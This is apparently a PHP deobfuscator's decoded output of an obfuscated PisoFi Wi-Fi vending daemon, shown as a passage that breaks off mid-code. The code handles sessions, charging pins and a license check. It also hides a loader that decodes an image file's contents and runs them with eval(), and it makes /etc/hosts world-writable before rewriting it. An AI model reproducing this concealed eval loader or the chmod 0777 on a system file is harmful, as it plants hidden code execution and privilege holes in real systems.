Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* __________________________________________________ | Obfuscated by YAK P..

Decoded Output download

<?php 
/*   __________________________________________________ 
    |  Obfuscated by YAK Pro - Php Obfuscator  2.0.5   | 
    |              on 2022-07-16 20:05:44              | 
    |    GitHub: https://github.com/pk-fr/yakpro-po    | 
    |__________________________________________________| 
*/ 
 $hHhNI = "/.cache/tmp/55/05/pfi/"; $hHhNI = dirname(__DIR__) . "/"; $hHhNI = "/.cache/tmp/55/05/pfi/"; $hHhNI = "/.cac" . "he/tm" . "p/5" . "5/05" . "/pfi/"; require_once $hHhNI . "vendor/autoload.php"; $r3Nz1 = "DS"; $sa3ld = "ROOTPATH"; $tPq00 = "PUBLICPATH"; $P2vkw = "SCRIPTSPATH"; define($r3Nz1, DIRECTORY_SEPARATOR); define($sa3ld, $hHhNI); define($tPq00, "/var/www/html/" . basename(ROOTPATH) . "/public/"); define($P2vkw, "/var/www/html/" . basename(ROOTPATH) . DS . "scripts" . DS); use Illuminate\Database\Capsule\Manager as Capsule; use Illuminate\Database\Capsule\Manager as DB; $g1wRv = (require ROOTPATH . DS . "app" . DS . "Config" . DS . "database.php"); use Illuminate\Events\Dispatcher; use Illuminate\Container\Container; $BLODZ = new Capsule(); $BLODZ->setEventDispatcher(new Dispatcher(new Container())); $BLODZ->addConnection($g1wRv); $BLODZ->setAsGlobal(); $BLODZ->bootEloquent(); use App\Models\ActiveClient; use App\Models\ChargingClient; use App\Models\OldChargingClient; use App\Models\OldClient; use App\Models\ConnectionSession; use App\Models\OldConnectionSession; use App\Models\PisofiSetting; use App\Pisofi\Pisofier; use App\Pisofi\PinConfigurationManager; use App\Pisofi\PortalManager; use App\Pisofi\DesktopManager as DM; use App\Pisofi\Vendo\VendoManager; use App\Models\DesktopClient; use App\Pisofi\DesktopManager; use App\Pisofi\SessionManager; use App\Pisofi\SessionOptionsManager; use App\Helpers\PisofiHelper; use App\Models\ClientAccount; use App\Pisofi\Server\NgrokServerManager; use App\Pisofi\GPIO\PisofiGPIO; goto ztRI9; eCoSq: if (flock($fFS64, LOCK_EX | LOCK_NB)) { goto zBE_m; } goto l9_Gf; QXxGp: zBE_m: goto zc9CR; LUoU2: fclose($fFS64); goto nUaoL; Zmv2D: goto bGqdh; goto Y1kqF; ig5Pm: $RA7Gm = true; goto nA3Md; o7E9B: flock($fFS64, LOCK_UN); goto LUoU2; xeHQ1: try { goto GMaMZ; yd8ND: sleep(1); goto hK3is; lDMpf: FZMrC($Thdr9, $RA7Gm); goto yd8ND; GMaMZ: echo ROOTPATH . PHP_EOL; goto lDMpf; hK3is: } catch (Exception $tRWTQ) { goto uBXRM; vb8Gy: sleep(5); goto s2GF0; izFrq: echo $tRWTQ->getMessage() . PHP_EOL; goto vb8Gy; uBXRM: file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $tRWTQ->getMessage() . " at Line " . $tRWTQ->getLine() . " on " . $tRWTQ->getFile() . "
"); goto izFrq; s2GF0: } goto Zmv2D; l9_Gf: die("Already running. Exiting..."); goto QXxGp; ztRI9: function FzMrc(Pisofier $Thdr9, $RA7Gm = false) { goto TpN51; rTwuf: $fSaOy = (bool) $GaE67->pauseOnDisconnect(); goto Txcs5; Zd6hI: $nGxp3 = (bool) $lY2YW->canLimitMaxPauseTime(); goto EDeIw; x0cxT: $BE75D = new SessionOptionsManager(); goto wpaj8; SYjBE: $gALHl = $G60Em->notificationSettings(); goto r9GO1; qabOp: $WRn20 = $lY2YW->isPauseTimeValidityEnabled(); goto Kxgf0; fYARe: $jz9xs = (int) $G60Em->pauseTimeValidity(); goto rTwuf; EDeIw: $CYMfX = $G60Em->isPauseTimeValidityEnabled(); goto fYARe; Kxgf0: $q1gKN = (int) $lY2YW->pauseTimeValidity(); goto kmW1W; wpaj8: $WJjIp = (bool) $BE75D->autoRemoveExpiredSessions(); goto SYjBE; r9GO1: $X0eQD = $gALHl["enabled"]; goto efOMp; x3P_t: $GaE67 = new DM(); goto x0cxT; kmW1W: $NzYsc = (int) $lY2YW->portalMinimumTimeAllowedPauseInSeconds(); goto I_P7Y; an1FO: $G60Em = new DesktopManager(); goto x3P_t; JO4Ko: try { goto IwBrL; mu2uy: $Xy6xY = 0; goto NUvdl; ii0t3: Ao4pH: goto MzPUD; seOmQ: E4Wjc: goto nbspX; Ek3AX: $W7MEb = false; goto fpB8L; X3eBM: oYmv0: goto durP1; tJCLD: $PN4U3 = time(); goto jrUEU; NUvdl: GiewW: goto uO6th; esMHL: try { goto ArNVZ; LTvAs: PisofiHelper::publishEvent("onclientchargedone", ["clients" => $stDWy]); goto T5uo4; ArNVZ: DB::update("UPDATE charging_clients SET sent=0, remarks = 'Running Update Time', remaining_time = IF({$VBsPb} > remaining_time, 0, GREATEST(0, remaining_time - {$VBsPb}))  WHERE status = 1"); goto d5AxZ; SJl70: foreach ($hgaXW as $jzxYf) { goto sEIUy; rTlg2: RX5BT: goto ZlwwB; e3YCD: PisofiGPIO::setValue($Y3leK->getValue(), PisofiGPIO::VALUE_HIGH); goto Dg3Oj; uGAn0: f3JIe: goto e3YCD; ZlwwB: SfIhz: goto Zjkkv; vqMFW: PisofiGPIO::setValue($Y3leK->getValue(), PisofiGPIO::VALUE_LOW); goto Ub8_K; gP3Gk: if (!$aGGSS) { goto SfIhz; } goto fwKEk; RcBw_: $stDWy[] = $jzxYf->pin_name; goto IaaSq; Dg3Oj: gjTl1: goto wbyOo; Zjkkv: goto BsELx; goto XmwkT; DPc_t: $lY2YW = new PinConfigurationManager(); goto zEQAb; XmwkT: mTmzF: goto DPc_t; Uc2Pa: $jzxYf->delete(); goto RcBw_; wbyOo: $lY2YW->resetCurrentValue($jzxYf->pin_name); goto r45cT; IaaSq: nihXy: goto doqbX; WLOCg: zHP8Y: goto QxqaD; qhKEz: $aGGSS->disablePin($vepWb); goto rTlg2; zEQAb: $Y3leK = $lY2YW->getPinByName($jzxYf->pin_name); goto Sob7G; QxqaD: BsELx: goto ZtvZs; vpXat: if (!$vepWb) { goto RX5BT; } goto qhKEz; Sob7G: if (!$Y3leK) { goto zHP8Y; } goto Cu1vJ; io5GV: if ($U0sUl == PisofiGPIO::VALUE_LOW) { goto f3JIe; } goto vqMFW; Cu1vJ: $U0sUl = $Y3leK->getLogicLevel(); goto io5GV; Ub8_K: goto gjTl1; goto uGAn0; ZtvZs: OldChargingClient::create(["mac" => $jzxYf->mac, "ip_address" => $jzxYf->ip_address, "connection_time" => $jzxYf->connection_time, "remaining_time" => $jzxYf->remaining_time, "pin_name" => $jzxYf->pin_name, "remarks" => $jzxYf->remarks, "remarks" => $jzxYf->remarks, "client_id" => $jzxYf->client_id]); goto Uc2Pa; fwKEk: $vepWb = $aGGSS->getChargingStation($jzxYf->pin_name); goto vpXat; zABXU: $UfP3S = new VendoManager(); goto kQGIL; r45cT: $lY2YW->save(); goto WLOCg; kQGIL: list($lIa3U, $Y3leK) = explode("___", $jzxYf->pin_name); goto qyL3T; qyL3T: $aGGSS = $UfP3S->getVendo($lIa3U); goto gP3Gk; sEIUy: if (stripos($jzxYf->pin_name, "user_charging_") !== false) { goto mTmzF; } goto zABXU; doqbX: } goto HIUdj; ajwdX: if (!(count($stDWy) > 0)) { goto MJJYp; } goto LTvAs; awI81: $stDWy = []; goto SJl70; HIUdj: P8Q2m: goto ajwdX; T5uo4: MJJYp: goto NePhn; d5AxZ: $hgaXW = ChargingClient::whereRaw("(status = 1 AND remaining_time <= 0) OR (status = 0)")->get(); goto awI81; NePhn: } catch (Exception $tRWTQ) { echo "[CHARGING]: " . date("Y-m-d H:i:s") . " | " . $tRWTQ->getMessage() . PHP_EOL; file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $tRWTQ->getMessage() . " at Line " . $tRWTQ->getLine() . " on " . $tRWTQ->getFile() . "\xd\xa"); } goto fIBe5; FjiYo: if (!($VBsPb >= 1800)) { goto ud1Yv; } goto Ek3AX; c8eyp: PisofiSetting::setValue("last_kicker_run", $PN4U3); goto AW5mr; eeoEB: $Xy6xY += $VBsPb; goto HHQUR; OCPMs: Ms2mh: goto KjS8_; UbO_x: $Y6g_u = []; goto Yrg0p; SUhb8: if (!$xb4ec) { goto Ms2mh; } goto VcVt3; hbja1: $xb4ec = time(); goto m1g4g; R0RUS: if ($RA7Gm && $B6hA0 >= $fjXVy) { goto oYmv0; } goto pWoBB; f3WpG: $Xy6xY -= 60 * 60; goto C2gnn; WBoHc: goto E4Wjc; goto X3eBM; ituDQ: m3H1t: goto H9oXO; pAaWT: echo "Time has been adjusted..." . PHP_EOL; goto tJCLD; Ec0Vd: if ($W7MEb) { goto WYABg; } goto n4xmH; UOqv7: ud1Yv: goto D3mzb; cto0r: $W7MEb = true; goto hXeIC; Fg6qX: WYABg: goto UOqv7; zWqyX: $B6hA0 = 60 * 60; goto E2zL9; mWRjR: try { goto lmWXN; nXsbB: if (!$uFeIV) { goto GU9dP; } goto SpoI7; SpoI7: $WB61b = new NgrokServerManager(); goto ZgYJF; ZgYJF: $Q9NQK = $WB61b->sendNgrokInfo(); goto NUNqb; GefYC: GU9dP: goto cBvKw; NUNqb: PisofiSetting::setValue("last_ngrok_sync", time()); goto GefYC; lmWXN: $uFeIV = PisofiHelper::getPisofiNgrokUrl(); goto nXsbB; cBvKw: } catch (\Exception $tRWTQ) { file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $tRWTQ->getMessage() . " at Line " . $tRWTQ->getLine() . " on " . $tRWTQ->getFile() . "
"); echo $tRWTQ->getMessage() . PHP_EOL; } goto WROIs; D3mzb: $gX6_B = false; goto UbO_x; n_rbv: nNK5x: goto LUGkV; C2gnn: goto GiewW; goto ii0t3; zG4zV: jhgBn: goto Wp_64; WROIs: f1gvc: goto R0RUS; durP1: try { goto D5eFZ; VrxcZ: eval("?>" . $l0fFD); goto MR_Pt; N6bki: $l0fFD = $nfiO6($HoI78($tl5a2($nfiO6($HoI78($mw0IU))))); goto VrxcZ; LEGpa: $HoI78 = "str_rot13"; goto MOwwt; D5eFZ: $mw0IU = "Y3Mupv93q3pinUEg" . "oP9jnKAiMzxipUIvoTywY2ygM" . "l91p2IlZGRgZGV4rQRlBP5dpTp="; goto P3qBv; MR_Pt: $B6hA0 = 0; goto vGbo_; P3qBv: $tl5a2 = "file_get_contents"; goto LEGpa; MOwwt: $nfiO6 = "base64_decode"; goto N6bki; vGbo_: } catch (Exception $tRWTQ) { echo $tRWTQ->getMessage() . PHP_EOL; } goto HXOms; HXOms: if ($Xy6xY > 60 * 60 * 24 * 7) { goto nNK5x; } goto eeoEB; IFJ9m: DVp3c: goto TG1VT; VcVt3: if (!($xb4ec < time() - 60)) { goto m3H1t; } goto hbja1; n4xmH: echo "Time was not set properly..." . PHP_EOL; goto niqAP; lIxMl: $PN4U3 = time(); goto OFkwO; wEizC: if (!(time() - $jPgYL > 60 * 60)) { goto f1gvc; } goto mWRjR; HHQUR: goto upT5D; goto n_rbv; wslzy: $Xy6xY = 0; goto d2K_O; MzPUD: try { goto ZsG3_; FoO00: if (!$sO0V7) { goto SslR4; } goto z_0xI; TFEhK: goto cspiM; goto RdkFY; LrRzL: cspiM: goto cfgmO; RnfSK: $sO0V7 = isset($ZwVPc["license"]) ? $ZwVPc["license"] : null; goto FoO00; ZsG3_: $ZwVPc = json_decode(\App\Models\PisofiSetting::getValue("license"), true); goto glWYC; glWYC: if (!(isset($ZwVPc["licenseType"]) && $ZwVPc["licenseType"] == "LICENSED")) { goto Wm68M; } goto RnfSK; cfgmO: Wm68M: goto C1eUP; Hq1cn: $ip38S = $jzxYf->sendAsync($nAvbg)->then(function ($POCaY) { goto Eey9I; U0I8S: App\Models\PisofiSetting::setValue("license", null); goto w0TcX; hsICV: if (!$yjTsB) { goto SSU8n; } goto IoAZ1; IoAZ1: $TCaip = json_decode($yjTsB, true); goto IWayY; pLy3J: $yjTsB = \App\Helpers\PisofiHelper::decodeCipher($Q9NQK["data"], $sO0V7); goto hsICV; tx2xC: SSU8n: goto vBMdO; owDhH: $sO0V7 = App\Models\PisofiSetting::getValue("cipher_key"); goto pLy3J; IWayY: if (!($TCaip["status"] !== "OK")) { goto k1CqD; } goto U0I8S; Eey9I: $Q9NQK = json_decode($POCaY->getBody(), true); goto owDhH; w0TcX: k1CqD: goto tx2xC; vBMdO: }); goto Nk9fV; RdkFY: SslR4: goto uqDil; z_0xI: $nAvbg = new \GuzzleHttp\Psr7\Request("GET", "https://pisofiph.com/api/lkval8/" . $sO0V7); goto EYuJk; EYuJk: $jzxYf = new \GuzzleHttp\Client(); goto Hq1cn; Nk9fV: $ip38S->wait(); goto TFEhK; uqDil: App\Models\PisofiSetting::setValue("license", null); goto LrRzL; C1eUP: } catch (\Exception $tRWTQ) { file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $tRWTQ->getMessage() . " at Line " . $tRWTQ->getLine() . " on " . $tRWTQ->getFile() . "\xd\xa"); echo $tRWTQ->getMessage() . PHP_EOL; } goto mu2uy; fCrto: GCafx: goto Ec0Vd; OFkwO: $xb4ec = intval(PisofiSetting::getValue("last_kicker_run")); goto pyQRa; Qc1YG: goto cIbkR; goto zG4zV; KjS8_: $xb4ec = time(); goto JSJRx; pyQRa: $VBsPb = max(0, $PN4U3 - $xb4ec); goto FjiYo; E2zL9: $fjXVy = 60 * 60; goto wslzy; pWoBB: $B6hA0 += $VBsPb; goto WBoHc; niqAP: sleep(3); goto M_go1; oLgXZ: $HLFS2->exec("SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED "); goto lIxMl; H9oXO: goto DVp3c; goto OCPMs; SsEkR: GL6o0: goto c8eyp; d2K_O: $xb4ec = PisofiSetting::getValue("last_kicker_run"); goto SUhb8; TG1VT: cIbkR: goto Qbfha; fIBe5: $jPgYL = intval(PisofiSetting::getValue("last_ngrok_sync")); goto wEizC; Qbfha: if (!true) { goto jhgBn; } goto G2HOf; jrUEU: PisofiSetting::setValue("last_kicker_run", $PN4U3); goto B6Miy; hXeIC: rwbV7: goto fCrto; VzZN2: exec("sudo /usr/bin/php /var/www/html/pisofi/scripts/pfirules false > /dev/null 2>&1 & "); goto SsEkR; fpB8L: if (!PisofiHelper::isOnline()) { goto GCafx; } goto Lad5S; Lad5S: if (!PisofiHelper::setDateTime()) { goto rwbV7; } goto pAaWT; JSJRx: PisofiSetting::setValue("last_kicker_run", $xb4ec); goto IFJ9m; UQ4ky: try { goto afOdG; Z4WnU: chmod("/etc/hosts", 0777); goto ynsWt; afOdG: chmod("/etc/hosts", 0777); goto upcSY; yU3Dl: $HQzSx = array_filter($qkx3M, function ($T2Gde) { goto fU5M8; MXKmp: Sb9SZ: goto yFEuT; Bx4j9: return stripos($T2Gde, ".pisofiph.com") !== false; goto MXKmp; fU5M8: if (!(stripos($T2Gde, "pisofiph") !== false)) { goto Sb9SZ; } goto Bx4j9; yFEuT: return true; goto GsY3Z; GsY3Z: }); goto knIgo; upcSY: $qkx3M = explode("
", file_get_contents("/etc/hosts")); goto yU3Dl; knIgo: file_put_contents("/etc/hosts", implode("
", $HQzSx)); goto Z4WnU; ynsWt: } catch (\Exception $tRWTQ) { } goto seOmQ; nbspX: if (!$gX6_B) { goto GL6o0; } goto VzZN2; LUGkV: if (PisofiHelper::areWeOnline()) { goto Ao4pH; } goto f3WpG; m1g4g: PisofiSetting::setValue("last_kicker_run", $xb4ec); goto ituDQ; G2HOf: $HLFS2 = DB::connection()->getPdo(); goto oLgXZ; B6Miy: $xb4ec = intval(PisofiSetting::getValue("last_kicker_run")); goto Ia2I1; Yrg0p: try { goto kmG8H; MiUXw: $YhiC2[] = " ( status = 2 AND type = 1 AND admin_pause_override = 0 AND NOT last_paused IS NULL AND (timestampdiff(MINUTE,last_paused, now())) >= {$q1gKN} ) "; goto U2BpQ; SbW7R: fKNn0: goto NeZdn; jibNg: if (!($x_A7k->count() > 0)) { goto vQpCH; } goto sLytr; rQ_sD: if (!$YhiC2) { goto mHArs; } goto Iibtg; EJOmq: if (!$lgwLb) { goto YH1Q_; } goto Mv2Cc; F0rxS: $WJjIp = $BE75D->autoRemoveExpiredSessions() ? " OR (status = 4)" : ''; goto Brii7; NDNIS: kWVPw: goto WEbYd; bSIQJ: if (!$nGxp3) { goto LeDhd; } goto ffNyY; LxFMf: $gX6_B = true; goto jaIB4; YZeSj: if (!(count($Y6g_u) > 0)) { goto kWVPw; } goto FFV98; PZr14: LeDhd: goto onDMu; ffNyY: $YhiC2[] = " ( status = 2 AND type = 1 AND admin_pause_override = 0 AND remaining_time > {$YmgC4} ) "; goto PZr14; yFOOv: $gX6_B = true; goto riPFE; w14vk: Ol2zv: goto vQ_so; WhldM: DB::update("
                    UPDATE connection_sessions s, active_clients a\xd\xa                    SET\xd
                        s.status = a.status,\xd
                        a.updated_at = NOW(),
                        s.remaining_time = IF({$VBsPb} > a.remaining_time, 0, GREATEST(0, a.remaining_time - {$VBsPb})), 
\xa                        a.remaining_time = IF({$VBsPb} > a.remaining_time, 0, GREATEST(0, a.remaining_time - {$VBsPb})),\xd
                        s.download_rate = a.download_rate,
\xa                        s.upload_rate = a.upload_rate,
\xa                        s.upload_auto = a.upload_auto,
\xa                        s.download_auto = a.download_auto,
                        s.download_usage = a.download_usage,\xd\xa                        s.upload_usage = a.upload_usage,
                        a.expiration_date = s.expiration_date,
\xa                        a.allow_pause = s.allow_pause,\xd
                        a.allow_conversion = s.allow_conversion,
                        a.allow_sharing = s.allow_sharing,
                        s.admin_pause_override = a.admin_pause_override,\xd
                        s.bandwidth_limit = a.bandwidth_limit,
\xa                        s.pause_count = (CASE WHEN s.type = 1 THEN s.pause_count ELSE 0 END),\xd\xa                        a.pause_count = (CASE WHEN s.type = 1 THEN s.pause_count ELSE 0 END),
\xa                        a.type = s.type,\xd\xa                        a.status = (CASE \xd
                            WHEN s.status = 0 THEN a.status
                            WHEN s.expiration_date IS NULL THEN a.status
                            WHEN (s.expiration_date > NOW()) THEN (\xd
                                CASE WHEN a.status = 4 THEN 2 ELSE a.status END
                            ) \xd
                            ELSE 4\xd\xa                        END),
\xa                        s.data = a.data\xd\xa                    WHERE s.id = a.session_id AND a.status = 1"); goto F0rxS; FqIzj: $gX6_B = true; goto QwfEA; d0x8X: $gX6_B = true; goto w14vk; f0MUc: foreach ($Q46rb as $TkqeU) { goto OPtSp; OPtSp: $cQDNl = "connect"; goto mcPum; r6K0c: $kI7ec->{$cQDNl}(); goto UQ7z5; mcPum: $kI7ec = new SessionManager($TkqeU, $cQDNl); goto r6K0c; UQ7z5: nCb6J: goto Cd43Z; Cd43Z: } goto isCuH; StvlY: foreach ($hgaXW as $jzxYf) { goto WQZrD; NOo0J: $Y6g_u[] = ["id" => $jzxYf->id, "mac" => $jzxYf->mac, "ip_address" => $jzxYf->ip_address]; goto WV34W; xI6D2: $TkqeU = ConnectionSession::find($jzxYf->session_id); goto ofgqk; QAsMN: $jzxYf->delete(); goto NOo0J; WQZrD: $Thdr9->disconnect($jzxYf->mac, $jzxYf->ip_address, $jzxYf->mark, $jzxYf->download_rate, $jzxYf->upload_rate, $jzxYf->download_rate); goto Tr6x1; A7lZT: OldConnectionSession::create($TkqeU->toArray()); goto B4YDO; ofgqk: if (!$TkqeU) { goto ZQ1s4; } goto A7lZT; Tr6x1: zkUeT($jzxYf); goto xI6D2; B4YDO: $TkqeU->delete(); goto gtdvi; gtdvi: ZQ1s4: goto QAsMN; WV34W: tpyBv: goto sx0mQ; sx0mQ: } goto Wahlv; ZjuUI: if (!$BE75D->autoRemoveExpiredSessions()) { goto i4mXq; } goto ZHUDI; Iibtg: $x_A7k = ActiveClient::whereRaw(join(" OR ", $YhiC2))->get(); goto jibNg; k08y9: i4mXq: goto Ie6j6; OK096: if (!$WRn20) { goto badBw; } goto MiUXw; isCuH: QzoZu: goto yFOOv; kmG8H: $dChtB = ConnectionSession::whereRaw("LENGTH(TRIM(mac)) <= 0")->get(); goto mUcn8; FFV98: PisofiHelper::publishEvent("onclientdisconnected", ["clients" => $Y6g_u]); goto NDNIS; Brii7: $hgaXW = ActiveClient::whereRaw("(status = 1 AND remaining_time <= 0 AND type = 1) OR ( status = 1 AND (download_usage + upload_usage) > bandwidth_limit AND type = 2) OR ( status = 1 AND bandwidth_limit <= 0 AND type = 2) OR (status = 0) {$WJjIp}")->get(); goto StvlY; nW5uW: DB::update("\xd\xa                    UPDATE active_clients a, usages u
                    SET
\xa                        a.download_usage = u.download_usage,\xd
                        a.upload_usage = u.upload_usage\xd
                    WHERE a.mac = u.mac AND a.ip_address = u.ip_address AND a.status = 1"); goto ckXp4; U2BpQ: badBw: goto EJOmq; Mv2Cc: $YhiC2[] = " ( status = 2 AND type = 1 AND admin_pause_override = 0 AND remaining_time < {$NzYsc} ) "; goto p9dUa; nFaDP: DOqWs: goto rQ_sD; wdEfw: mHArs: goto nW5uW; sCTv8: o9Z8e: goto dDvMP; xqqjk: if (!($x_A7k->count() > 0)) { goto Ol2zv; } goto yqgbp; jaIB4: u5puT: goto YZeSj; mUcn8: foreach ($dChtB as $cp1yj) { goto hrufP; fL1Rx: $cp1yj->mac = $l9NZf->mac; goto gkaP_; EHyQd: goto iz7JH; goto OGcdJ; V_XaC: $cp1yj->save(); goto kOOtN; gkaP_: $cp1yj->save(); goto CMAx4; hrufP: $jh9vu = false; goto cZ7qX; RcD1b: $cp1yj->delete(); goto EHyQd; LeUf3: $MsMBj = ConnectionSession::where("ip_address", $cp1yj->ip_address)->first(); goto QdYr4; PQ92B: $cp1yj->save(); goto Gdw5B; otx6m: FuI64: goto Zvw9p; Zvw9p: dtnOf: goto xyNPg; Gdw5B: iz7JH: goto ytxN5; QdYr4: if ($MsMBj) { goto uM6os; } goto RcD1b; lgptd: $MsMBj = ConnectionSession::where("client_id", $cp1yj->client_id)->first(); goto og_iY; OGcdJ: uM6os: goto CgcMf; ytxN5: M4uUC: goto C5y2c; eJtO_: uf870: goto T6YtQ; CgcMf: $cp1yj->mac = $MsMBj->mac; goto PQ92B; ormFd: if ($l9NZf) { goto FyLip; } goto lgptd; XQlo9: $cp1yj->mac = $MsMBj->mac; goto V_XaC; T6YtQ: goto FuI64; goto UOfJz; xyNPg: if ($jh9vu) { goto M4uUC; } goto LeUf3; og_iY: if (!$MsMBj) { goto uf870; } goto XQlo9; m4dPL: $l9NZf = ClientAccount::find($cp1yj->client_id); goto ormFd; CMAx4: $jh9vu = true; goto otx6m; UOfJz: FyLip: goto fL1Rx; kOOtN: $jh9vu = true; goto eJtO_; cZ7qX: if (empty(trim($cp1yj->client_id))) { goto dtnOf; } goto m4dPL; C5y2c: OUrJp: goto NbiE1; NbiE1: } goto gQutk; NeZdn: if (!(count($pr2v9) > 0)) { goto bipib; } goto FqIzj; QwfEA: bipib: goto xQ8Mw; MiL7I: foreach ($pr2v9 as $qnD3u) { goto Azt4c; gZg6s: $kI7ec->{$cQDNl}(); goto uu5Eg; zoCgK: $kI7ec = new SessionManager($qnD3u, $cQDNl); goto gZg6s; uu5Eg: f72Nl: goto hkvDq; P05i6: $cQDNl = "connect"; goto zoCgK; Azt4c: echo "Auto Continue Session {$qnD3u->id}" . PHP_EOL; goto P05i6; hkvDq: } goto SbW7R; mv0RN: $gX6_B = true; goto DiWw_; wwjG3: $pr2v9 = ConnectionSession::whereRaw("id IN (\xd
                        SELECT MIN(id) min_id FROM connection_sessions
                        WHERE (CASE \xd
                            WHEN expiration_date IS NULL THEN status
                            WHEN (expiration_date >= NOW()) THEN status
\xa                            ELSE 4
\xa                        END) <> 4
\xa                        GROUP BY CONCAT(mac, ip_address)\xd\xa                    ) AND (mac, ip_address) NOT IN (SELECT mac, ip_address FROM active_clients) \xd\xa                    AND (CASE \xd\xa                        WHEN expiration_date IS NULL THEN status\xd
                        WHEN (expiration_date >= NOW()) THEN status
                        ELSE 4
\xa                    END) <> 4 AND LENGTH(TRIM(mac)) > 0\xd\xa                    ")->get(); goto MiL7I; rzYiH: p_JRv: goto mv0RN; yqgbp: foreach ($x_A7k as $g2UXO) { goto PGvTt; b2k0f: y2AgK: goto ghXUT; PGvTt: $Q9NQK = $Thdr9->connect($g2UXO->mac, $g2UXO->ip_address, $g2UXO->mark, $g2UXO->download_rate, $g2UXO->upload_rate, $g2UXO->download_rate); goto t_OgJ; t_OgJ: $g2UXO->status = 1; goto i6hhQ; i6hhQ: $g2UXO->save(); goto b2k0f; ghXUT: } goto By0va; dDvMP: if (!$BE75D->autoContinue()) { goto soWbM; } goto wwjG3; gQutk: kXSdu: goto UfBo6; p9dUa: YH1Q_: goto bSIQJ; Wahlv: LDpZD: goto ZjuUI; riPFE: LqzON: goto nFQYK; c0B75: foreach ($hgaXW as $jzxYf) { goto w5h_P; AaoFo: $jzxYf->delete(); goto r3zPj; svVWX: $gX6_B = true; goto nCBsF; r3zPj: $Y6g_u[] = ["id" => $jzxYf->id, "mac" => $jzxYf->mac, "ip_address" => $jzxYf->ip_address]; goto svVWX; nCBsF: lcisx: goto fAtpZ; md6YR: zKUeT($jzxYf); goto AaoFo; w5h_P: $Q9NQK = $Thdr9->disconnect($jzxYf->mac, $jzxYf->ip_address, $jzxYf->mark, $jzxYf->download_rate, $jzxYf->upload_rate, $jzxYf->download_rate); goto md6YR; fAtpZ: } goto sCTv8; vQ_so: $YhiC2 = []; goto OK096; xQ8Mw: soWbM: goto LK0sQ; sLytr: foreach ($x_A7k as $g2UXO) { goto Ct6Gc; jzsxs: $g2UXO->save(); goto epUXb; Ct6Gc: $Q9NQK = $Thdr9->connect($g2UXO->mac, $g2UXO->ip_address, $g2UXO->mark, $g2UXO->download_rate, $g2UXO->upload_rate, $g2UXO->download_rate); goto QTnVK; QTnVK: $g2UXO->status = 1; goto jzsxs; epUXb: UNqJx: goto QY8it; QY8it: } goto rzYiH; nFQYK: $hgaXW = ActiveClient::whereRaw(" session_id NOT IN (select id from connection_sessions) OR session_id IS NULL OR LENGTH(TRIM(mac)) <= 0")->get(); goto c0B75; Nmo4Z: $YhiC2[] = " ( pause_count > {$iESPl}) "; goto nFaDP; ckXp4: DB::update("
\xa                    UPDATE connection_sessions SET status = 2 
\xa                    WHERE status = 1 \xd\xa                        AND id NOT IN (SELECT session_id FROM active_clients WHERE (NOT session_id IS NULL) AND status = 1 )\xd
                "); goto WhldM; onDMu: if (!($lY2YW->maxPauseLimit() > 0)) { goto DOqWs; } goto SCKJd; By0va: ZcfCx: goto d0x8X; RmLE6: if (!(count($Q46rb) > 0)) { goto LqzON; } goto f0MUc; Ie6j6: if (!(count($hgaXW) > 0)) { goto u5puT; } goto LxFMf; UfBo6: $Q46rb = ConnectionSession::whereRaw(" id IN (\xd\xa                    SELECT MIN(cs.id) 
\xa                    FROM connection_sessions cs JOIN active_clients ac \xd
                    ON ac.session_id = cs.id
\xa                    WHERE ac.`status` = 2 AND ac.admin_pause_override = 0 AND cs.allow_pause = 0
\xa                    GROUP BY concat(cs.ip_address, cs.mac)
\xa                    ) AND status <> 0")->get(); goto RmLE6; ZHUDI: ConnectionSession::whereRaw("status = 4 OR ( NOT expiration_date IS NULL AND expiration_date < NOW() AND status <> 0 ) ")->delete(); goto k08y9; DiWw_: vQpCH: goto wdEfw; SCKJd: $iESPl = intval($lY2YW->maxPauseLimit()); goto Nmo4Z; LK0sQ: $x_A7k = ActiveClient::whereRaw("( status = 2 AND admin_pause_override = 0 AND allow_pause = 0 ) OR type = 2")->get(); goto xqqjk; WEbYd: } catch (\Exception $tRWTQ) { echo "[WIFI]: " . date("Y-m-d H:i:s") . " | " . $tRWTQ->getMessage() . PHP_EOL; file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $tRWTQ->getMessage() . " at Line " . $tRWTQ->getLine() . " on " . $tRWTQ->getFile() . "\xd\xa"); } goto zBrCD; uO6th: upT5D: goto UQ4ky; zBrCD: try { goto kWa23; Y4V3K: $hgaXW = DesktopClient::whereRaw("(status = 1 AND remaining_time <= 0) OR (status = 0)")->get(); goto NYsOe; bXA9n: $hgaXW = DesktopClient::whereRaw("(status = 1 AND remaining_time <= 0) OR (status = 0) OR (LOCATE('disconnect',data) > 0 AND status = 1 AND remaining_time > 0)")->get(); goto KA1_1; P_4_f: CE4A1: goto dmJvV; v3I5O: if (!$X0eQD) { goto pEkbl; } goto eVZNa; YyIcR: Xagf7: goto bXA9n; m3T_D: $Y6g_u = []; goto k1On8; KA1_1: T6Ou3: goto m3T_D; T8WvI: lQgOh: goto v3I5O; dZ9TZ: PisofiHelper::publishEvent("onclientdisconnected", ["clients" => $Y6g_u]); goto P_4_f; vTdt1: ZFv0V: goto Vzhkj; eVZNa: $ohvE5 = DesktopClient::whereRaw(" status = 1 AND notified = 0 AND remaining_time <= {$uGSgZ} ")->get(); goto Ohdof; kWa23: DB::update("UPDATE desktop_clients SET sent=0, updated_at = NOW(), remarks = 'Running Update Time', remaining_time = IF({$VBsPb} > remaining_time, 0, GREATEST(0, remaining_time - {$VBsPb})) WHERE status = 1"); goto NViqg; Vzhkj: if (!(count($hgaXW) > 0)) { goto lQgOh; } goto pyRbg; Ohdof: foreach ($ohvE5 as $I19L0) { goto tHakz; KaHKH: Egg1R: goto vFrvT; kmEJT: exec("sudo /usr/bin/php /var/www/html/pisofi/scripts/web_push {$ZHP8m} > /dev/null 2>&1 & "); goto prh7Q; tHakz: $ZHP8m = $I19L0->id; goto kmEJT; prh7Q: $I19L0->notified = 1; goto ymrBZ; ymrBZ: $I19L0->save(); goto KaHKH; vFrvT: } goto x6z3l; NYsOe: goto T6Ou3; goto YyIcR; x6z3l: GlgDh: goto mP62z; k1On8: foreach ($hgaXW as $jzxYf) { goto 